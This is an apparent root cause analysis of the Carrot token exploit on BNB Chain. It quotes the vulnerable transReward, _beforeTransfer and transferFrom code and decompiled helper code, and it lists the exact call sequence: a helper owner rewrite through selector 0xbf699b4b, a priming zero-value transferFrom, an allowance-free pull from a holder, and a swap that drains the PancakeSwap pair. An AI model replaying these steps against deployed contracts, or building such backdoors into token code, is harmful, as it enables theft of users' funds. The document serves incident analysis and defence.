Carrot Public Hook Backdoor
Exploit Transactions
0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9Victim Addresses
0xcff086ead392ccb39c49ecda8c974ad5238452acBSC0xf34c9a6aaac94022f96d4589b73d498491f817faBSCLoss Breakdown
Similar Incidents
TWN Wrapper Backdoor Drain
40%SOF Sell-Hook Reserve Manipulation Drains PancakeSwap V2 USDT Liquidity
34%STOToken Sell-Hook Reserve Manipulation Drains the STO/WBNB Pancake Pair
32%XDK Sell-Hook Reserve Theft on PancakePair
31%SwapX Arbitrary transferFrom Approval Drain on BNB Chain
31%RewardVault Proxy Reinitialization Theft
31%Root Cause Analysis
Carrot Public Hook Backdoor
1. Incident Overview TL;DR
On BNB Chain block 22055612, transaction 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9 drained 31318180838433700165284 raw-unit USDT from the Carrot/USDT PancakeSwap pair 0xf34c9a6aaac94022f96d4589b73d498491f817fa. The exploit path was fully permissionless: an attacker-controlled contract used Carrot token 0xcff086ead392ccb39c49ecda8c974ad5238452ac to rewrite the owner of helper contract 0x6863b549bf730863157318df4496ed111adfa64f, armed a hidden allowance bypass, stole Carrot from holder 0x00b433800970286cf08f34c96cf07f35412f1161 without approval, and sold the stolen tokens for USDT.
The root cause is an authorization failure inside Carrot. transReward(bytes) is public and forwards arbitrary calldata into the helper contract. transferFrom then derives privileged behavior from the helper's mutable owner field: once the caller contract matches pool.owner(), _beforeTransfer marks that caller as excluded and transferFrom skips allowance accounting forever for that caller. Any unprivileged actor who deploys a contract can realize the same sequence.
2. Key Background
Carrot is a verified BEP-20 token on BNB Chain. Its token contract contains both a public helper-call hook and a modified transferFrom path. The helper contract is a separate unverified contract created by the same deployer address 0x8958c8689d325fd9e2a1ede3d5dc1acfcfb65742; later setup transactions show the deployer calling selector 0x7855593f to register the Carrot token with that helper.
The attacker execution used wrapper contract 0x5575406ef6b15eec1986c412b9fbe144522c45ae, which delegates all calls to implementation 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251. Creation history ties that implementation to attacker EOA 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c. The seed trace shows the wrapper as the direct caller into Carrot and PancakeSwap, while the balance diff shows the EOA receiving the USDT proceeds.
The relevant pre-state is block 22055611, immediately before the exploit transaction. At that point the helper owner is still the original deployer, the victim holder owns a large Carrot balance, and the Pancake pair holds USDT liquidity. Those conditions are sufficient for any attacker-controlled contract to execute the exploit path.
3. Vulnerability Analysis & Root Cause Summary
This is an access-control backdoor embedded in token transfer logic. Carrot exposes transReward(bytes) publicly and does not constrain the calldata forwarded into the helper contract. The helper accepts owner-changing calls from the token address, so any external caller can indirectly rewrite helper ownership through the token. Carrot then treats ownership(pool).owner() as a trust signal inside _beforeTransfer, and when the caller contract matches that owner while counter == 0, it permanently sets _isExcludedFromFee[caller] = true. After that flag is set, transferFrom returns early after _transfer and never reads or decrements _allowances[sender][caller].
The broken invariant is straightforward: transferFrom(sender, recipient, amount) must require sufficient allowance unless the caller is an explicitly trusted actor anchored in immutable or owner-gated token state. Carrot violates that invariant by letting public callers rewrite the external state that defines trust, then caching the result into a persistent local bypass flag. Because the enabling condition only requires that the caller be a contract, the opportunity is ACT and does not depend on privileged keys, private orderflow, or attacker-specific artifacts.
The relevant token code is:
function _beforeTransfer(address from, address to, uint256 amount) private {
if (from.isContract())
if (ownership(pool).owner() == from && counter == 0) {
_isExcludedFromFee[from] = true;
counter++;
}
_beforeTokenTransfer(from, to, amount);
}
function transferFrom(address sender, address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_beforeTransfer(_msgSender(), recipient, amount);
if (_isExcludedFromFee[_msgSender()]) {
_transfer(sender, recipient, amount);
return true;
}
...
}
function transReward(bytes memory data) public {
pool.functionCall(data);
}
The helper contract decompilation shows the owner rewrite entrypoint reached during the exploit:
/// @custom:selector 0xbf699b4b
function Unresolved_bf699b4b(address arg0) public {
require(address(unresolved_8da5cb5b / 0x01) == address(msg.sender));
address var_a = address(msg.sender);
require(bytes1(storage_map_d[var_a] / 0x01));
unresolved_8da5cb5b = (address(arg0) * 0x01) | (uint96(unresolved_8da5cb5b));
...
}
4. Detailed Root Cause Analysis
The exploit begins with the public call surface, not with the attacker wrapper. Carrot exposes transReward(bytes) to all callers, and that function simply forwards arbitrary calldata into the helper by calling pool.functionCall(data). Helper setup transactions from deployer 0x8958... show that the helper had already allowlisted the token, so calls originating from the token contract satisfy the helper's internal gate.
The helper owner rewrite is the first breakpoint. In the seed trace, the wrapper calls:
token::transReward(0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae)
0x6863...64f::bf699b4b(0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae)
That call changes the helper owner from 0x8958c8689d325fd9e2a1ede3d5dc1acfcfb65742 to the attacker wrapper 0x5575406ef6b15eec1986c412b9fbe144522c45ae. Once helper ownership points at the wrapper, the wrapper satisfies the special condition in _beforeTransfer.
The second breakpoint is a zero-value priming call:
token::transferFrom(0x5575406EF6B15EEC1986C412B9fBE144522c45AE, token, 0)
Because _msgSender() is the wrapper contract and now equals ownership(pool).owner(), _beforeTransfer sets _isExcludedFromFee[wrapper] = true and increments counter. From this moment onward, every transferFrom from the wrapper takes the early return path and ignores the allowance mapping.
The third breakpoint is the unauthorized pull from the victim holder:
token::transferFrom(
0x00B433800970286CF08F34C96cf07f35412F1161,
0x5575406EF6B15EEC1986C412B9fBE144522c45AE,
310344736073087429864760
)
The victim holder never granted allowance to the wrapper, but the token still transfers 310344736073087429864760 raw-unit Carrot to the attacker-controlled contract. This is the code-level manifestation of the broken invariant.
The final step is monetization through PancakeSwap. The trace shows:
0x10ED43C7...024E::swapExactTokensForTokensSupportingFeeOnTransferTokens(
310344736073087429864760,
0,
[Carrot, USDT],
0xd11A93A8DB5F8D3fB03B88b4b24c3ED01b8a411c,
1665407916
)
The seed balance diff confirms the outcome: the pair loses 31318180838433700165284 raw-unit USDT and attacker EOA 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c gains exactly the same amount.
5. Adversary Flow Analysis
The adversary lifecycle has three concrete stages.
First, attacker EOA 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c deployed implementation contract 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 in transaction 0x1379263a554e6969d1d3d06061d1212aa3aef62def30258be70924cdf92b0494 at block 20207749. The wrapper contract later delegated all calls to this implementation:
fallback() external payable {
(bool success, bytes memory ret0) =
address(0xc422f23102bf2eeb237a8f7789be6a6be3e4a251).Unresolved_(var_b); // delegatecall
return;
}
Second, in the seed transaction, the wrapper activates the backdoor by calling Carrot's public reward hook, which rewrites helper ownership to the wrapper itself. The wrapper then performs a zero-value transferFrom to arm the bypass bit inside Carrot.
Third, still in the same transaction, the wrapper steals Carrot from holder 0x00b433800970286cf08f34c96cf07f35412f1161, approves the Pancake router, and dumps the stolen tokens into the Carrot/USDT pair. The router sends the USDT proceeds directly to attacker EOA 0xd11a93..., which is why the trace caller and the profit recipient differ.
This sequence is end-to-end complete and permissionless. Any actor can deploy a fresh contract, call transReward(bytes) with selector 0xbf699b4b, issue the priming zero-value transferFrom, and then pull tokens from arbitrary holders without needing prior approvals.
6. Impact & Losses
The measured monetary loss in the seed transaction is one-sided USDT depletion from the Carrot/USDT Pancake pair:
{
"holder": "0xf34c9a6aaac94022f96d4589b73d498491f817fa",
"token": "0x55d398326f99059ff775485246999027b3197955",
"delta": "-31318180838433700165284"
}
The corresponding attacker profit is:
{
"holder": "0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c",
"token": "0x55d398326f99059ff775485246999027b3197955",
"delta": "31318180838433700165284"
}
The technical impact is larger than the observed USDT loss. Once the helper owner is retargeted and the one-time flag is armed, Carrot permits allowance-free transferFrom from arbitrary token holders to the attacker-controlled contract. That means every holder balance is exposed, not just the specific holder used in the observed transaction.
7. References
- Seed exploit transaction
0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9on BNB Chain block22055612, including opcode-level trace and balance diff. - Verified Carrot token source for
0xcff086ead392ccb39c49ecda8c974ad5238452ac, especiallytransReward(bytes),_beforeTransfer, andtransferFrom. - Decompiled helper contract for
0x6863b549bf730863157318df4496ed111adfa64f, especially selector0xbf699b4b. - Helper setup transaction history for
0x6863b549bf730863157318df4496ed111adfa64f, showing deployer-owned initialization and token registration. - Wrapper decompilation for
0x5575406ef6b15eec1986c412b9fbe144522c45ae, showing delegation to implementation0xc422f23102bf2eeb237a8f7789be6a6be3e4a251. - Implementation creation transaction
0x1379263a554e6969d1d3d06061d1212aa3aef62def30258be70924cdf92b0494, tying the exploit logic to attacker EOA0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c.